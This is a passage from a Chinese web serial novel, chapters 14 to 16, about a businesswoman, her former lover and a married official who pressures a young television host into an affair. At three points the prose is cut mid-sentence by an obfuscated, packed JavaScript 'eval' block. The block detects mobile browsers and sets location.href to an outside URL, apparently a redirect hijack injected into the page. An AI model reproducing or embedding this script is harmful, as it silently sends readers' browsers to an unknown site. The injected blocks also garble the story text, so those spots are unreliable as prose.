李善文长呼出一口气,沉默良久,嘴角忽然扯出来一抹笑:“好,好啊。她敢跟我和高望津玩阴的,胆够肥。这么直接告诉高厅长有什么意思,苏幸,知道什么最难受吗?温水煮青蛙,我得熬死她。” 他说罢,拿出手机,拨通了白杨的号码。 那边很快接通:“李总,您这么大老板怎么想起找小妹我了?” “瞧白老板这话说的,您不也是高夫人眼前的红人吗,咱俩本就是同属一家的,何必这么假模假样的?正好,我这儿有点生意,不知道白老板肯不肯赏脸?” “您这可就错怪我了,我跟谁假模假样的也不能跟您啊。”白杨在电话那头笑说,“既然李老板都发话了,小妹我哪有推辞的道理?在我那儿,两山青,好让我给您表表敬意。” 她说完,客套了两句,才挂断电话。 李善文是个什么德行,她心里面门清儿,不砸她场子就不错了,什么时候啃分肉给她吃了?黄鼠狼给鸡拜年,不知道安的什么心。 她得给自己留好后手,以防万一。 第二天他们如约到两山青见面,这地方景好,清净,她手里挺多餐厅茶楼的,但招待人就喜欢用这地方,没别的意思,现在这人都挺讲究雅致,唐诗背不了几首宋词说不了几个,偏偏就挺爱装的。 白杨坐在最里面的一个包间里,让人上了菜,等着听李善文要过来给她放什么好屁。 李善文没让她等多长时间就过来了,还带着一个人,那人白杨有过几面之缘,小姑娘,长得俏生生的一个可人儿,是叫苏幸,传闻里陈先生的新姘头。 他坐下,眼角一笑起来就都是褶子。白杨以前听看面相的人说过,桃花眼,眼尾还炸花,这样的人好色,多情,风流。 “李老板,怎么想起光临寒舍,见见小妹我了?” 白杨站起身给他倒酒,他往椅子上一靠,没有要接过来的意思。反倒盯着她暗笑了两声:“啧啧,白杨啊白杨,有时候我还真挺佩服你的,都撕破脸了还能装下去。你说说,您这是多强的心里素质啊?” 她的眼神一寸寸凉了下来,斜睨了李善文一眼,察觉到对方的来者不善,倒好的那杯酒干脆自己端在手里饮了半杯,才缓缓坐下,问他:“李老板,您说要见面,小妹我尽心尽力的款待,可是您却好像不打算跟我和平相处啊?” 她和李善文有过节,过节还不小。但这事挺少人知道的。 毕竟不怎么光彩,谁都不愿意往外传。 以前她刚出社会,也就是刚混出来一点的那段时间,碍了人的道,原本是不足够他放眼里的,可是那人和李善文有点渊源,于是请他出山门料理了。 后来李善文见到她,非但没砸场子,反倒客客气气地请她到风月山庄吃了顿饭。 风月山庄,字面意思,离不开风月。 那时跟这会儿的场景差不太多,也不过就是主客对调了。 白杨还远没有现在这么滑不留手,比现在的苏幸还要小的年纪,被他的专车接到澄州郊外,说不害怕是假的,但也只能硬着头皮过去。 推开门,桌上的菜丰盛无比,满桌的珍馐美味,仍然挡不住他那张阴恻恻的奸商脸。 她在他对面坐下,强撑着场面问他:“李老板大老远把我请这儿来,不知道是什么话一定要在这里说?” 李善文眯着眼看她,上下打量一番,那眼神让她极其不舒服。 说出的话更是。 “白老板,不,应该叫您白小姐。选在这儿没别的含义,就是觉得别的地方都称不上您。” 她没说话,紧紧盯着他,等着他接下来的言语。 “是这样的。”李善文开门见山,“澄州这么大,看你一个小姑娘独自在外打拼我也实在于心不忍,白小姐有没有想过,走一条别的路?” 她冷声问:“比如呢?” “既然话说到这个份上,我就挑明了。”李善文说,“我很欣赏白小姐,也很舍不得白小姐受苦,不如这样,你跟了我。” 他把话说得挺直白的,一点都不加掩饰。 白杨没见过这样的阵仗,蒙了一瞬:“你说什么?” 他接着说:“都说到这地步了,这样,价钱你随便开。” 白杨才反应过来,这是要包养她。 那时候她挺想一杯酒直接泼人脸上的,但在泼之前,她脑子里先过了一遍后果,这里是风月山庄,离市区一百多里,这杯酒要是真泼了,她搞不好要被丢在这儿,走三天三夜也走不回去。 于是她强撑着笑脸说了一句,你给我点时间,让我想想。李善文被她唬住了,说可以。 那晚司机送她回去,她下了车,就扒着车窗告诉司机说,你回去告诉你老板,让他撒泡尿照照镜子,趁早死了这条心! 梁子就是从这时候开始结下的。白杨那时候被李善文找了茬,没走下去。后来转手做玉石生意就不常自己出面了,主要还是怵他。再后来,她到哈尔滨那一跪,给自己跪出来个锦绣前程。 高太太高先生在中间横着,加上她态度挺好,请他喝酒赔罪,说当时都是太年轻了,于是得了个表面上的安宁。心里记没记恨着谁知道呢。 白杨现在捏着酒杯,盯着他,看他要说出来什么金口玉言。 李善文呵呵一笑,讥讽道:“当初给你机会,你不愿意,装劳什子的清高。原来是瞧不上我这么个商人啊,就是不知道陈先生的床,你爬上去,滋味如何?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283157|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的眸光紧了紧,刺向在一边坐着不言不语的苏幸,辗转一番,又回看向了李善文,本就是没影的事,他们是怎么知道的? “我知道的时候都吓一跳呢。”他暗笑着,自己给自己倒了一盏茶,喝上一口:“这么些年,白老板还是钟意六安瓜片——你和陈先生这事,我尚且都蒙在鼓里呢,就是不知道,高先生晓不晓得?” “原来坑在这儿呢。”白杨冷笑两声,坐在椅子上,抱臂看他,“你我同是高先生的门下客,咱俩争个你死我活,可不论谁出头了,对他都是有益的。你不也是,费尽心思要送苏小姐到人跟前,被我截了胡,这才恼羞成怒的。可你也知道,陈先生身边现在躺的是我,捅了再大的篓子,有他在后面跟我兜底。澄州集团这几年正换届,高厅长的位子做了这多年,难道不需要个梯子往上爬一爬?你现在在高先生面前把我的脸扯下来,怎么不好好想想,这是时候吗?” 李善文的脸色沉了下来,侧眼看她,明显是在强撑了:“拿陈先生压我呢?白杨,你真当自己是什么国色天香的美人儿了,一个婊子,陈先生什么人没见过,他会放心上?” 话说到这地步,白杨知道,这辈子是和陈西原断不干净了,打断骨头还要连着筋。 李善文这个人,出了名的不见棺材不落泪。 她拿出手机,几下拨通了陈西原的号码,那是那一晚,他留在自己车上的。 陈西原很快接起,嗓音里往外透着丝丝笑意:“白姑娘,这时候打电话,找我有事?” 白杨咬着牙说:“陈二,有不长眼的说你阅人无数,不会把我放心上,玩玩就过去了,你说是吗?” 她说完这句话,把手机开了扩音,放在桌上转到李善文和苏幸跟前。 听筒里传来陈西原丝丝缕缕的笑,而后沉寂下来,他才开始说话,声音在这间封闭的屋子里来回游荡,钻进人身体的每一个细胞。 “杨杨,这话你也信?我有多疼你你不是不知道,别人眼瞎跟我没关系,可你是看着了。人不能不讲良心,你说是吧?” 听到这里,白杨把手机转了过来,按掉扩音,剩下的话只有她一个人听全了。陈西原顿了一下,哑声对她说:“更何况,当年要不是你抛弃我,咱俩现在可就十年了。” “我知道。”她说。 “杨杨,场面我给你撑足了。”他的声音转变了下,没有刚才那么柔情蜜意了,变得不冷不热,“你现在做生意,咱们在商言商,该明白你来我往的道理,是不是,白老板?” 她听着他的话,指节一寸寸凉了下来,喉头发紧发涩,欲哭而无泪。 陈西原知道,连她拿他撑场面都知道。确实,是他对她荣宠过甚,让她都忘了,他本是陈先生。 只要他不愿意,你就休想从他身上讨到一点便宜。 她的声音也凉了下来:“我知道。” 挂断电话,白杨抬起脸看向李善文和苏幸,眼神在他们两人之间转了转,脸上的笑也冷了。 “李老板,我叫您一声李老板给您这个面子,无论是一年前还是现在,您都是我的前辈,我得敬着您。可前提是,您也得给我条生路,您要是这么一直步步紧逼的,把我逼急了,狗急跳墙也不好说是不是?” 她把声音放缓,给他留好面子,“我和陈先生的勾当,也无非是风月场上那点事,您今天不说,往后更得捂严实了。我没名没姓的,谁搭理我啊,可是那位可不一样。我这也是为您啊,我们俩算半个同门,何必自相残杀呢?” 伸手不打笑脸人,李善文坐在椅子上,神色也缓和了不少。 白杨继续说:“您瞧瞧,这一桌子菜全是小妹特地给您备的,您在这儿吃好,六安瓜片您不喜欢,我让人给您上祁门红茶。” 她说罢,转身抬脚走了出去。 14. 第 14 章 在踏出包间的那一刻,白杨的脸彻底沉了下来。 她做的这件事不是那么天衣无缝的,司机那边是一个大纰漏,还有一个漏洞,在苏幸这里。 能捅到李善文那里的,只能是苏幸。可苏幸是怎么知道的,那通电话是别人打的,她就算想破大天也想不到她头上来。 那么就只能是一个人。 那个把时间都掐算的分秒不差,口口声声说着有多疼她的男人,陈西原。 她早该想到的,这么多年时间,这位二哥的手只会更阴。他对她,疼是真疼,可何尝有过手下留情? 她一早就见识过陈西原的阴损。 那是在无意间听到的,一家房地产的老板和他在茶楼见面,他是带着她过去的。吃吃喝喝到一半,她离开去卫生间补妆。 回来的时候正听到他们在里间谈话,那个老板对他说:“那块地当时被小鬼子的炸弹炸坏了,要是在上面建的话,肯定得先翻一遍,这个人力就……” 陈西原回答的漫不经心:“报警吧。说那儿有尸体,警察会替你掘地三尺的。” 那时候她就知道,他不是什么好人。只是没想到,他也会算计到她头上。 白杨坐进车里,点燃一根烟,放在嘴里抽了一口,又给陈西原打过去电话。 电话接通,她怒气冲天:“陈西原,你他妈的敢阴我!” 陈西原在那边还是悠悠哉哉的,没被她这一嗓子给点燃怒火,不紧不慢对她说:“几年不见,脾气见长。” 白杨对着听筒,几乎可以想象出那边他要死不活的死样子,她毫不犹豫骂了一句脏话。 “白杨。”他淡淡开口,声音泛着冷意,阻断她的怒火,“你凭什么觉得,我不可以算计你?我这样的人,你不是早有见识。” 她的心像被一直莫名的大手死死攥住,疼的她喘不上气,越是疼,就越是清醒。陈说得没有错,她凭什么以为他不会算计她?她既想要一刀斩断,难道还指望他顾念旧情。 还是他的爱,让她忘乎所以了? 她握着手机,把指尖握的发白,发颤,许久没有吐出一句话,手机的话筒只能捕捉到她粗沉的喘息。 电话那头的陈西原报了一个地址,对她说:“我在这儿等你,当面骂不是才过瘾。” 白马公馆,公寓式酒店,最鼎盛的时候,普通间一晚的房费都要九千九百九十九,果然,陈先生还是一如既往地,骄奢淫逸。 半个小时之后,白杨按响了他的房间门。 门没有锁,她按下把手就走了进去。 陈西原正坐在沙发上,百无聊赖地抽着烟,茶几上有一瓶新开的红酒,放在醒酒器里醒。 白杨走进去,没换鞋,高跟鞋踩在地板上哒哒哒的,好像也跟着一块宣泄怒气。她一路走到他跟前,一手把包砸在了他身上。 陈西原稳稳接住,掀起三分靡靡笑目看她:“这是气的狠了。” “陈西原,你什么意思,和李善文一起搞我是吧?” “我要是想搞你,你打那通电话的时候,以为我还会配合着你演情深义重的戏吗?”他把包放下,换了个姿势坐好,弯腰把嘴里的烟给按灭在烟灰缸里。又吐出最后一口烟雾。 “白杨,我确实佩服你,来澄州六年能走到今天这地步,以前是我小瞧你的手腕和胆量了。”陈西原抬眼看她,淡淡说:“我知道,这其中,少不了高望津他们的助力。同样的,他能给你,也能压垮你。” “李善文跟你……也就是表面和谐,我知道他巴不得搞垮你,要是让他知道你背主偷吃,后果不用我说。” 白杨居高临下地看着坐在沙发上的他,怒气团在胸腔里,缓缓地上下起伏。是她错了,她一开始就不应该只拿“老情人”这个身份看他。 “所以说,我垮台了对陈先生您有什么好处?等我走投无路了,指望我再去你那儿讨一口饭吃,上你的贼船?” “上我的贼船?”陈西原嗤笑一声,像是听了什么好笑的事,“这倒不是,我没什么贼船好让白老板上的。我只不过是,能把你拉下水而已。” 白杨听了这话,几乎想要大嘴巴抽上去。 “你看看,都在姓李的面前装过一回恩爱了,他现在是信了你上头有我护着,不会轻易把你捅出去。”陈西原从沙发上站起来,步步紧逼,走到她面前,无视掉她因为愤怒而狰狞的眼神,一只手抚摸上她的侧脸:“要是我那天起给苏幸打了个电话,姓李的看你在我这儿‘失宠’,难道不会咬死你不放?没了姓高的庇护,你还能走多远。” “杨杨,你一路走来不容易,可别毁在这一步棋上。” 他的手指很凉,碰在她的皮肤上,触感鲜明。动作却极尽温柔,好像她是一件易碎的珍宝,稍一用力,就可能酿成大祸。 可他分明那么舍得。 她把手指握的发白,指甲狠狠刺进肉里。 陈西原今天又给她上了人生里最深刻的一课,男人的爱是最不能收归的筹码,不仅一文不值,还可能成为刺向他的利刃。 她一开始就不该对他掉以轻心。 陈西原很聪明,他没像狗血的爱情小说里那样剥夺她的所有,再把人囚入牢笼。他用以牵制她的砝码,反而是她最舍不得的心血。 就如同她了解他一样,陈西原也对她知根知底。 “白杨,你舍得放下我吗?我疼你,爱你,这些都不是假的。”陈西原声音柔和轻哄,然而白杨无比清楚,这不过是巴掌过后的甜枣。 她冷笑着抬头望他:“可这不妨碍你算计我。” 他一点没心虚,反倒笑了笑,这在他听来更像是嘉奖:“结果是我要的,不就行了吗?” 白杨遍体生寒,忍不住后撤了一步,两只脚绊住,跌坐在后面的单人沙发上。她很快接受了这样的结果,除了这条路,已经无路可走。 “你是怎么做到的?”她抬起头,不甘地问。 陈西原给自己倒了杯酒,说道:“苏幸给我打电话,我只是告诉她,我在追你。” 白杨陷在沙发里笑,往上撩了一把头发,没忍住大笑出声,笑完了,咬牙切齿地对他说:“陈西原,你厉害。我白杨这辈子没在谁身上栽过两次,你是第一个。” 陈西原给她递过去一杯酒,平淡地说:“知道为什么吗?” 白杨仰头看他,没有说话。 “因为你这里有我。”他的嘴角微微扬起,在她面前单膝跪下,手指点了点她的心口。他在她错愕的目光里,牵起她的左手,轻轻吻了吻。 他的神情太虔诚,犹如一个朝圣者,而她是他的佛。 她的胸膛燃起一团大火,他是火种迸射的星子。 “我希望你也知道,我同样爱重你。”陈西原说,他的声音像穿肠的毒药,轻易洗去往日的所有恩怨,让那些前尘往事,全部销声匿迹。 白杨紧盯着他,像是要把人看穿,看出一个窟窿来。她冷声问他:“你爱重我,所以拉我入你这滩浑水?” 他神色无甚变化,依旧如常:“你本来就在浑水里,高望津,也不过就是块浮木。” 白杨没有再接话,陈西原继续开口。 “杨杨,这次在澄州看到你,我很开心。说实话,我以为再也见不到你了,以为你嫁人了,结婚了。你别怪我这么做,我只是想让你看清楚,我是真的把你放心里的,你不也是吗?人这一辈子,时间太短,最忌讳的就是拧巴。拧巴拧巴,什么都错过了。你甘心吗?” 他在她面前跪下,把她脚上的高跟鞋脱下,这种鞋子和刑具没什么区别,把她的脚腕磨得通红。 他就轻轻地帮她按摩着。 白杨很想大哭一场,可是什么泪也没有。 他就像一把钝刀子,一点点,一点点,在你不知不觉的时候,就能把你的皮肉隔开,把你心脏剖出来。白杨一直紧绷着的那根弦,被他就这样无声无息地磨断了。 她伸手捧起陈西原的脸,那张她深爱的脸。六年的时光也不过在他眼梢处磋磨出两条细纹,却反倒更了一丝痞气的添风韵。 “陈西原,我们没结果的,对吗?”她的声音泛着沙哑,像是被硬生生撕开的一道口子。没等他回答,她就笑了:“我也不是玩不起的人,你想玩是吗?我陪你。” 陈西原房门被轰然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283158|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上的那一刻,与之消失的,还有她高跟鞋哒哒哒的脆响。 白杨的眼睛发酸发涩,嗓子里的那股郁结之气终于吐出,幻化成眼泪从眼角流下,她伸手一抹,往嘴里叼了根烟,护着火点燃。 她有个秉性,连陈西原也不知道。 她在圈子里算是大度的人,什么也都能豁的出去,就连脸面也是如此,不然也不会有哈尔滨那档子事了。但唯独一点,最恨受人掣肘。 李善文手里捏着她的把柄,虽说是一脚踩进了陈西原的套里,可在她这儿过去。怎么说,也得回敬一丈。 车一拐弯,上了高速路。 副驾驶上的手机震动起来,白杨看一眼,是程砚打过来的。 接起来,程砚对她说:“我刚从昆明回来,咱俩见一面,跟你说点事。” “什么事不能在电话里说?” “听我的,见面安全,你听了绝对不亏。”程砚在电话里说。 白杨定了地点:“去白夜那儿。” 白夜是家酒吧,是她早几年的产业了,在自己的地方还是安心点。 她去那边,直接让经理把办公室腾了出来,两人坐在里面谈话。 经理送过来一瓶人头马XO,程砚平常没什么特别的嗜好,就喜欢白兰地这一口。他和白杨出身相似,都不那么将就品质品牌一类,不要内涵,只认钱。 白杨替他倒上,说在老板椅里晃一圈,问他:“什么事值得你现在来?” “前两天我不是接了一富豪的离婚案吗,老公把二奶养在昆明了,为了这,我还特地往那儿跑了一趟。”程砚接过来,抿了口酒,快慰地叹息一声,“还有点意外收获。” “什么意外收获?” “二奶和二奶做朋友,我取证的时候,还能听见点澄州的事。”程砚说,“那位的主儿是澄州集团的一位,本来说是过两年换届的,可能也就快了。最上面的人犯了错误,组织上正在讨论呢。你不是跟老高混吗,他这几年工作做的挺好的,说不定就能调任澄州集团了,不比在这清水衙门好?” 白杨笑一声:“这对我可不是什么好事啊。他自己吃上肉了,我这个送肉的可不就没什么立足之地了吗?” 程砚晃了晃酒杯,掀起眼皮看她:“可说呢。但这可不是什么小事,平常你和我那东家(李善文)明着争暗里斗,他都睁一只眼闭一只眼,可你要是把注意打在这上头,没发现还好,要是发现了,白杨,那才叫真没有你的立足之地呢。” 她抿着嘴,没接这句话。她又何尝不知道其中利害,只是她的好日子可还刚过没多久,不能这么断送了。 最好是……别人来动这个手。 她回过神,又问道:“最上头的走了,谁来考察?” 程砚眯了眯眼,说道:“据说是姓陈。” 白杨的心底咯噔了一下,开口问:“北京来的?” “可不吗?要不然谁还能有这么大脸面。” 她知道陈西原并不参涉这上面的事,可是陈家里不止他一个人。满北京城绝对找不到第二个姓陈的能做这上面的主,外人不晓得,可她却明白陈西原是个什么身份。 既然这事提前了,那么现在可是个关键时期,等过几天,高望津知道了这事,这段时间都得夹着尾巴做人,这关头谁要是给他找不痛快,可真就是往枪口上撞了。 “怎么样,这消息对你有用吧?”程砚扬眉问她。 白杨点点头:“人家费老劲弄不到的消息,那些二奶倒是知道的挺多。” “这些话,其实最不能说得就是二奶。”程砚道,“嘴上没个把门儿的,手上落着一点,就忍不住拿出来炫耀。” “你知道的倒是清楚。” “没办法,做这行久了,打过不少这案子。我这也算是……阅三无数吧。” 她笑了笑,没有接这句话,拿自己的杯子和他碰了一下:“消息挺管用的,亏你还想着我,没去告诉你那东家。回头让这儿的经理去给你送十瓶人头马。” 他轻声笑:“他那儿十来个法律顾问,我就是凑数的。我们俩这是私交,私事和公事,我还是分得清的。” 15. 第 15 章 高望津是几天后才听到的风声,朝中有人好办事,他在北京的时候有两个交好的同僚,消息就是从他们嘴里透出来的。 那时澄州台节目的策划案刚批复备案,主持人是一个曾经主持一档娱乐节目的,她去新节目,原来节目的主持人就空缺了下来,蔡冕拍板,把它给了溪山。 她的主持功底非常好,一期节目下来十分顺利。 她从摄影棚走出,和前来的明星握了握手离开,摄像机前的导播忍不住夸她:“溪山,没看出来这么厉害啊,刚开始怎么就面试了个助理?” 她不好意思开口:“这不是不会说粤语吗。” “粤语很好学的。”这时候有人开口,溪山转头看过去,高先生正站在一边,浅笑着看她。 她也扬起一抹笑:“高先生,您怎么来了?” 高望津摆摆手,示意她过去说,两人走到会客室里,他才开口说道:“这不是你第一天挑大梁,过来看看你。白老板把你托付给了我,总得对你负责。” 魏溪山听着这话总觉得有点别扭,可又说不上哪里别扭,只能淡笑着应下:“劳您费心了,我这儿都还挺好的,您不用担心。” “是,今天一看确实不用担心。”高望津拍了拍她的肩膀,随后坐在了沙发上,话锋转了转:“刚才说不太会讲粤语?” “是不太会说。”溪山去给他泡茶,把茶杯放到他面前说道:“以前看香港电影只能勉强听懂一点。” “是,我刚来澄州的时候也说不顺。”他抬起头看她,眼神落在她身上,暗含笑意:“这里的方言和其他地方都不一样,比如,我喜欢你在这里就要讲,我钟意你。” 溪山心尖一颤,眼神不动声色地变了变,心底琢磨着这句话。并非是她自作多情,这样的话,实在不是一个已婚的厅长该对下属说的。但他既然不拆穿,她也正好含糊。 于是笑了笑,对他说:“高先生,您这句话说的这么熟练,在家没少对高太太说吧。” “这倒不是。”他不接她的场面话,然而神色还无比平常自如,还端起茶杯呷了一口里面浅绿的茶水,言语间有笑意:“就对溪山你一个人说过。” 魏溪山舔舐了一下干涩的唇角,眸色冷了下来,看向他道:“那我荣幸。” 高先生笑出来,放下茶杯,瓷器和木桌碰撞发出沉闷的响声,好像氤氲着他主人的怒气。可是他分明在笑着,何来怒气。 “溪山,我送你回家。” 他的声音不容置喙,那是一种上位者多年沉寂出来的底蕴。这种底蕴包裹着她,溪山的指节有些颤抖,她明白,眼前的不是别人,是高先生,高厅长。 “不必了高先生,多谢您的好意。”溪山强撑着笑:“我家可能与您不太顺路。” “向阳路那边,挺顺路的。” 他说罢,抬脚走了出去。 溪山心脏上下跳动,如果说刚才还能说是无意识的话,现在他提出送她回家,无异于是认下了。 蔡冕能把手上这节目给她,看得是谁的面子,是谁打的招呼,她心里清楚的很。现在在这儿撕破脸皮,除非她不想在台里混了。 魏溪山在沙发上坐着,长长吐出一口气,她二十八了,成年人的世界里混了十年,什么样的暗示明言没见过。高厅长这么做,让她不得不多想。 然而却没有任何办法。 她顿了两秒,还是走了出去,高厅长的车停在外面,车牌号很好,三个六两个三,打眼一瞅就不是常人的车。 见她从楼里出来,那辆车打了两下双闪。 高先生没有带司机,自己开车来。她拉开车门,坐进了副驾驶。 车慢慢驶离,溪山手里握着安全带,脸色一寸寸白了下来。虽说她已经这么工作这么些年了,可以前就算是看在她爸的面子上,从没遇见过什么腌臜事,脑子里被杂糅了一团乱麻,把她紧紧勒着,喘不过气。 车子一直到向阳路,没有要停的意思,她转头惊惶地看他:“我们要去哪?” 高望津听着她宛如惊弓之鸟一般的声音,忍不住展开了笑颜,另一只手握住了她的手,轻声抚慰:“怕什么,又不会把你卖了。” 溪山望着他抓握住自己的那只手,那只手并不苍老,虬结有力,他也曾经端枪扛炮,虎口指腹被磨出了茧子,到后来经手文职,这些茧子,这些腐朽干瘪的肉就被深深压下去,成了一个坚硬的印记。 她深吸一口气,努力让自己镇定下来:“高先生,我很敬重您,您爱护妻子,爱护儿子,我对您,也只有敬重之情。” 高望津没有说话,他的手在暗暗磋磨着她的,那镌刻在血肉里的腐朽,把她的白嫩划出一道道红痕。 车子一直开到澄江路,他在一栋别墅楼前停下,把车开进了车库里。下车,而后牵起了她的手。 溪山挣不脱,一直被他牵进屋内,房间里一片昏暗,只有夕阳透过窗帘的缝隙射进来的一道红光,像一把利剑,刺进这片黑暗。 他在沙发上坐下,把她箍进自己怀中。 溪山的后背紧贴着他的,她在颤抖,和他的心脏一同跳动。 “高先生,小安还在家等您。”溪山一点点掰开他的手,站起身,黑暗里看不清他的脸庞,只有隐隐的一个轮廓。 “溪山。”他淡声开口,语气听不出喜怒。“我本来没想这么快的,可是我没办法等了,溪山,你应该能明白我的心意。我想要你。” “你知道你在说什么吗!”溪山几乎吼出声,“这绝对不可能,你有高太太,你有小安,你想让我做什么,做你的小三?” 这太荒唐了。 “这你放心,我不会让他们知道的。” 她蹲在地上,笑出声:“你当然会瞒着他们,这世界上哪个女人会和小三和平共处?” 高先生没有说话。 溪山被迫接受了这个事实,咬着牙,看向他,一字一句地说:“可我不愿意。” “我不爱你,我不想做任何人的第三者。”溪山盯着那团黑影,艰难开口:“我知道我的工作有你的助力,我可以不要这份工作。难不成,你还能只手遮天?” 高望津轻声笑起来。 “只要你不离开这个岗位,对于你而言,我就是天。”他的声音带着中年男人特有的雄厚,仅是雄厚,并不浑浊,“你替你自己好好想想,你甘心只做一个助理吗?我喜爱你,会把我的一切都奉献给你。” 溪山想,这该是多动听的情话呀。可是绝不能从一个有妇之夫的人嘴里说出。 在这之前,她以为他是一个值得敬重的前辈,他风趣并不刻板,他博知并不倨傲,她没想到,原来这样的人,也可以腐烂彻底。 她抬起头,缓慢却坚决的对他说:“你喜爱我,就不应该把我放在这位置上。你喜爱我,可你要我做的事,是伤害另一个女人,另一个孩子。你知不知道,这是违背人伦,违背道德的?” “我和文秀之间早就没有感情了,婚姻也不过是名存实亡。”他说,“我不爱她,她的心里更没有我。” “这不是我这么做的理由。”溪山依旧寸步不让:“更何况,我是白杨通过高太太引荐给你的,我们这么做,就是在打她的脸。” 话落,高先生反倒笑了。 “你既然在乎白杨,就应该知道,我可以把她抬上来,也可以把她压下去。” 黑暗里一阵骚动,溪山的心一分分,一点点,被即将到来的凛冬的寒意给蚕食殆尽,不留寸灰。 高先生从沙发上站起来了,他个子很高,低头足以俯视她。溪山还蹲在地上,他也在这里蹲了下去,俯身到她面前,手掌精准找到她的脸庞,眼下濡湿,有河流在她的土壤上缓缓流动。 他覆手过去,小心拭尽她眼角的泪,像一个极温柔的情人。 “溪山。”高望津轻轻捧起她的脸,黑暗里谁也看不清谁,只能听见他温柔浅淡的声线:“我知道这不对,可我难以抵抗我的心。它被你牵引着,不受我控制。我给你时间,我不强迫你,我等你情愿。我只希望,你别让我等太久。” 溪山太清楚,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283159|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他给她带着期限的自由,他是她的收款人,贷已经放出,现在是要收取利息的时间了。 他曾经给她的,一笔一划都记着。她拿到了手,就要为此付出代价。 溪山那晚平安回了家,母亲做好了饭菜等她,沙发上堆着一些礼盒。她知道她妈这是又去逛商场买东西了,每次她刷卡买完,就会做一桌子好吃的菜哄她。 听到开门声,穆霖从厨房往外探头看了一眼:“溪山回来了,快点洗手吃饭了。” 她有点烦躁地问她:“妈,你怎么又买这么多东西?” 穆霖笑笑:“这不是我花钱,是白杨和我一起去的,她去买烟了,等会儿就上来。” 正说着,门已经从外面打开了,白杨换好鞋,笑着恭维穆霖:“阿姨,您做菜越来越好吃了,还没进门呢就闻见香味了。” 溪山把她拉到一边,叹息:“你别老给她买东西,再买,我就要卖身给你了。” “那敢情好啊。”白杨呵呵笑,“你和阿姨我还是养得起的。” “你就惯着她吧。”溪山被她的无赖给气到,狠狠捏了一下她的脸。 白杨笑了笑,拿出根烟咬进嘴里,超市里没有打火机了,她就买了两盒火柴。利落地在盒壁的磨砂纸上擦出火,点燃了嘴里的烟。 她往肺里吸了一口烟,喃喃说:“刚才从超市出来的时候,好像看见了高先生的车。” 溪山的整个身体都僵直了一瞬,胸腔里那颗心脏不堪重负地疯狂跳动,这桩隐秘于世的荒唐事,仿佛在此刻变得昭然若揭。 “是吗?”她扭头看向阳台外面,“他家不是在城南那边,看错了吧。” “兴许吧。”白杨并没在意。 “白杨,溪山,洗手吃饭了。”那边溪山妈妈的声音传来,打断了两人的交谈。溪山应了一声,拉着她上了饭桌。 饭桌上,白杨问起她的工作。 溪山往碗里加了一筷子菜,说道:“澄州台晚上九点那个节目给我了,原来的主持人在准备新的节目。这个不用会说粤语,普通话就好。” 白杨点点头:“那就好,回头还要去谢谢高先生,毕竟也多亏了他。” “到时候我亲自去谢吧。”溪山说,“这样显得有诚意点。” “也好。” 她的心底在鼓动着,那是深埋进胸口的一根毒刺,由她抉择,要不要袒露人前。 饭后,溪山问起白杨在澄州的这几年过得如何,她轻声笑了笑,一撇嘴:“就那样呗,谁不是这么过来的。” “跟我说说吧,以前没机会听你说”溪山道:“说说你是怎么走到现在的,你离开陈西原的那一天,我记得你什么都没要。” “是,是什么都没要。”白杨说:“我第一次见他的时候,第一次抱他吻他的时候,穿得都是白T和牛仔裤,走的时候,也是穿得白T牛仔裤。那时候还真不是憋着一口气,就是觉得,这些东西不是我的,拿了自己不该拿的,会遭报应。” 她又开始抽烟了,嘴里的烟杆星火明灭,浮荡在她眼里,也跟着明暗交叠。 “后来到澄州,坑蒙拐骗,样样精通。我刚开始接手的生意其实是茶,差点都要包揽小半座茶山了,可是得罪了人,那个蓝玉集团的李善文过来找茬,把我逼得走投无路。后来才开始做玉的。” “可他还是压着我,没办法,我才去找了高太太的路子。你知道我最后是怎么入了高太太的眼的吗?”白杨粲然一笑,说出来哈尔滨那件事:“那时候膝盖受了点伤,到现在阴雨天还有点疼呢。那事在圈里传开了,他们说我这膝下,跪的才是黄金万两。” 溪山听着,不自觉把手放到了她膝盖上,嗓子里一阵酸涩。马上要入冬了,问她是不是还会疼? 在这一刻,溪山好像认了,认命了。她怎能让白杨的心血付之一炬。 滚滚洪流里,谁不是命运的牺牲品? 天上一刹那恍惚,一道雷从密布的黑云里劈出,把整个澄州照耀的恍若白昼,但也仅仅只是一刹,又迅疾恢复无边的黑沉。 16. 第 16 章 白杨开车回去,到家时外面的雨已经小了很多,淅淅沥沥,像一场恸哭后的余韵。 洗过澡之后手机就不厌其烦地震动起来,是李善文那个混蛋打过来的。她也不厌其烦地扬起笑脸,接起来电话:“李老板,这么晚打电话过来,找小妹有事?” 